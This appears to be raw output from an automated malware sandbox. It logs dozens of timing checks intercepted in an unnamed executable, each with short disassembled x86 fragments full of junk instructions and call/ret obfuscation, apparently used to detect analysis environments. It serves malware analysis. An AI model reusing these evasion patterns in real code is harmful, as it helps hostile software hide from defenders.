Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EED02 second address: 4EED0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EED0D second address: 4EED11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679BA6 second address: 679BB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A2DE second address: 67A2F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9DB0FF9A3Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A2F2 second address: 67A30F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A30F second address: 67A315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A315 second address: 67A323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9DB10DC5B6h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C35F second address: 67C363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C363 second address: 67C369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C369 second address: 4EED02 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 2C0F4711h 0x0000000f push dword ptr [ebp+122D08F5h] 0x00000015 jns 00007F9DB0FF9A3Ch 0x0000001b mov dword ptr [ebp+122D1CDBh], edi 0x00000021 call dword ptr [ebp+122D207Dh] 0x00000027 pushad 0x00000028 jne 00007F9DB0FF9A37h 0x0000002e xor eax, eax 0x00000030 jmp 00007F9DB0FF9A43h 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 xor dword ptr [ebp+122D1CE7h], edx 0x0000003f jc 00007F9DB0FF9A3Ch 0x00000045 sub dword ptr [ebp+122D1D58h], esi 0x0000004b mov dword ptr [ebp+122D3A95h], eax 0x00000051 cld 0x00000052 mov esi, 0000003Ch 0x00000057 pushad 0x00000058 jmp 00007F9DB0FF9A43h 0x0000005d cld 0x0000005e popad 0x0000005f pushad 0x00000060 jmp 00007F9DB0FF9A40h 0x00000065 mov esi, dword ptr [ebp+122D3ACDh] 0x0000006b popad 0x0000006c add esi, dword ptr [esp+24h] 0x00000070 jmp 00007F9DB0FF9A3Fh 0x00000075 lodsw 0x00000077 jmp 00007F9DB0FF9A3Fh 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 mov dword ptr [ebp+122D1CE7h], edi 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a mov dword ptr [ebp+122D1CE7h], esi 0x00000090 push eax 0x00000091 pushad 0x00000092 pushad 0x00000093 push eax 0x00000094 push edx 0x00000095 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C3B9 second address: 67C47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9DB10DC5B6h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d jp 00007F9DB10DC5C2h 0x00000013 nop 0x00000014 call 00007F9DB10DC5C2h 0x00000019 mov dh, 8Ah 0x0000001b pop edi 0x0000001c mov edi, dword ptr [ebp+122D3BD5h] 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007F9DB10DC5B8h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e or esi, dword ptr [ebp+122D39B5h] 0x00000044 push 808A3699h 0x00000049 jmp 00007F9DB10DC5C9h 0x0000004e add dword ptr [esp], 7F75C9E7h 0x00000055 mov edx, eax 0x00000057 mov dword ptr [ebp+122D1CDBh], eax 0x0000005d push 00000003h 0x0000005f clc 0x00000060 push 00000000h 0x00000062 jmp 00007F9DB10DC5BEh 0x00000067 push 00000003h 0x00000069 mov ecx, dword ptr [ebp+122D3BA5h] 0x0000006f push B8771993h 0x00000074 pushad 0x00000075 jmp 00007F9DB10DC5BBh 0x0000007a pushad 0x0000007b push edx 0x0000007c pop edx 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C47B second address: 67C4AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xor dword ptr [esp], 78771993h 0x0000000d xor dword ptr [ebp+122D3842h], edi 0x00000013 lea ebx, dword ptr [ebp+124612B5h] 0x00000019 mov edi, 5CF55B9Fh 0x0000001e jno 00007F9DB0FF9A3Bh 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 jns 00007F9DB0FF9A38h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C526 second address: 67C5C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d xor dword ptr [ebp+122D2A42h], ebx 0x00000013 jnc 00007F9DB10DC5B9h 0x00000019 push 00000000h 0x0000001b mov ecx, 2663BD70h 0x00000020 movsx esi, cx 0x00000023 push 91CE4C80h 0x00000028 jne 00007F9DB10DC5C0h 0x0000002e add dword ptr [esp], 6E31B400h 0x00000035 mov dword ptr [ebp+122D341Eh], edi 0x0000003b push 00000003h 0x0000003d jmp 00007F9DB10DC5BEh 0x00000042 mov dword ptr [ebp+122D2A1Fh], edi 0x00000048 push 00000000h 0x0000004a movsx ecx, ax 0x0000004d push edx 0x0000004e xor ecx, dword ptr [ebp+122D3A29h] 0x00000054 pop edi 0x00000055 push 00000003h 0x00000057 jmp 00007F9DB10DC5BDh 0x0000005c push edi 0x0000005d adc si, 1709h 0x00000062 pop ecx 0x00000063 call 00007F9DB10DC5B9h 0x00000068 jng 00007F9DB10DC5C2h 0x0000006e push eax 0x0000006f push ecx 0x00000070 push eax 0x00000071 push edx 0x00000072 push esi 0x00000073 pop esi 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C5C8 second address: 67C5FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jns 00007F9DB0FF9A54h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F9DB0FF9A46h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C5FB second address: 67C60C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edi 0x00000009 jp 00007F9DB10DC5BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C60C second address: 67C621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jno 00007F9DB0FF9A36h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C621 second address: 67C678 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9DB10DC5B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov cx, di 0x00000010 lea ebx, dword ptr [ebp+124612BEh] 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F9DB10DC5B8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 movsx ecx, di 0x00000033 mov edi, dword ptr [ebp+122D3B45h] 0x00000039 xchg eax, ebx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F9DB10DC5C6h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C700 second address: 67C775 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9DB0FF9A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 0E116150h 0x00000011 jnp 00007F9DB0FF9A3Ch 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F9DB0FF9A38h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 or dx, 37ABh 0x00000038 push 00000000h 0x0000003a push 00000003h 0x0000003c mov dword ptr [ebp+122D2A1Fh], edi 0x00000042 call 00007F9DB0FF9A39h 0x00000047 jmp 00007F9DB0FF9A43h 0x0000004c push eax 0x0000004d jl 00007F9DB0FF9A40h 0x00000053 pushad 0x00000054 push ecx 0x00000055 pop ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C775 second address: 67C7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a jmp 00007F9DB10DC5BAh 0x0000000f jmp 00007F9DB10DC5BEh 0x00000014 popad 0x00000015 mov eax, dword ptr [eax] 0x00000017 jnp 00007F9DB10DC5D2h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C7C5 second address: 67C81C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F9DB0FF9A3Ch 0x0000000c pop edi 0x0000000d popad 0x0000000e pop eax 0x0000000f cmc 0x00000010 lea ebx, dword ptr [ebp+124612C9h] 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F9DB0FF9A38h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 jne 00007F9DB0FF9A3Eh 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jbe 00007F9DB0FF9A3Ch 0x0000003f jng 00007F9DB0FF9A36h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68ED64 second address: 68ED82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB10DC5C9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68ED82 second address: 68ED87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68ED87 second address: 68ED8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DE6D second address: 69DE88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A47h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BDE1 second address: 69BDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BDE5 second address: 69BDF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9DB0FF9A3Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BDF9 second address: 69BE03 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9DB10DC5B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69BF3D second address: 69BF4D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F9DB0FF9A36h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C5A7 second address: 69C5CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB10DC5C6h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jo 00007F9DB10DC5B6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C5CE second address: 69C5D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C5D3 second address: 69C5DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9DB10DC5B6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C5DF second address: 69C5E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C5E3 second address: 69C604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jp 00007F9DB10DC5B8h 0x00000015 push eax 0x00000016 push edx 0x00000017 js 00007F9DB10DC5B6h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C604 second address: 69C60A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C60A second address: 69C63B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F9DB10DC5B6h 0x0000000d jmp 00007F9DB10DC5C5h 0x00000012 jmp 00007F9DB10DC5BAh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C63B second address: 69C641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C641 second address: 69C645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CB05 second address: 69CB0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CB0D second address: 69CB43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F9DB10DC5BCh 0x00000013 jmp 00007F9DB10DC5C5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CB43 second address: 69CB51 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9DB0FF9A38h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CB51 second address: 69CB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CE23 second address: 69CE27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CE27 second address: 69CE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F9DB10DC5BEh 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CE3A second address: 69CE4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9DB0FF9A3Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CE4C second address: 69CE62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C0h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69CE62 second address: 69CE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D779 second address: 69D783 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9DB10DC5C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D783 second address: 69D789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D8D8 second address: 69D8EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F9DB10DC5BEh 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DD06 second address: 69DD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DD0C second address: 69DD18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A2446 second address: 6A244A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A244A second address: 6A2450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8F4B second address: 6A8F64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A45h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8F64 second address: 6A8F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8F71 second address: 6A8F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8F75 second address: 6A8F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8F7B second address: 6A8F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A924E second address: 6A9255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9255 second address: 6A925B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A9578 second address: 6A957C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A957C second address: 6A9591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9DB0FF9A3Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE110 second address: 6AE12C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F9DB10DC5BFh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE12C second address: 6AE130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE130 second address: 6AE148 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jns 00007F9DB10DC5B8h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE148 second address: 6AE14C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE14C second address: 6AE167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F9DB10DC5BDh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE167 second address: 6AE16C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE16C second address: 6AE188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F9DB10DC5B6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jg 00007F9DB10DC5B6h 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE188 second address: 6AE1F0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9DB0FF9A38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F9DB0FF9A38h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 push edi 0x00000026 pushad 0x00000027 mov edx, 3FB1056Dh 0x0000002c sub ecx, dword ptr [ebp+122D3949h] 0x00000032 popad 0x00000033 pop esi 0x00000034 mov dword ptr [ebp+122D2032h], ebx 0x0000003a call 00007F9DB0FF9A39h 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 jmp 00007F9DB0FF9A3Eh 0x00000047 js 00007F9DB0FF9A36h 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE1F0 second address: 6AE22D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F9DB10DC5CAh 0x00000010 jmp 00007F9DB10DC5C4h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE22D second address: 6AE237 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE237 second address: 6AE272 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push edx 0x0000000e jmp 00007F9DB10DC5C0h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnp 00007F9DB10DC5B6h 0x0000001c rdtsc
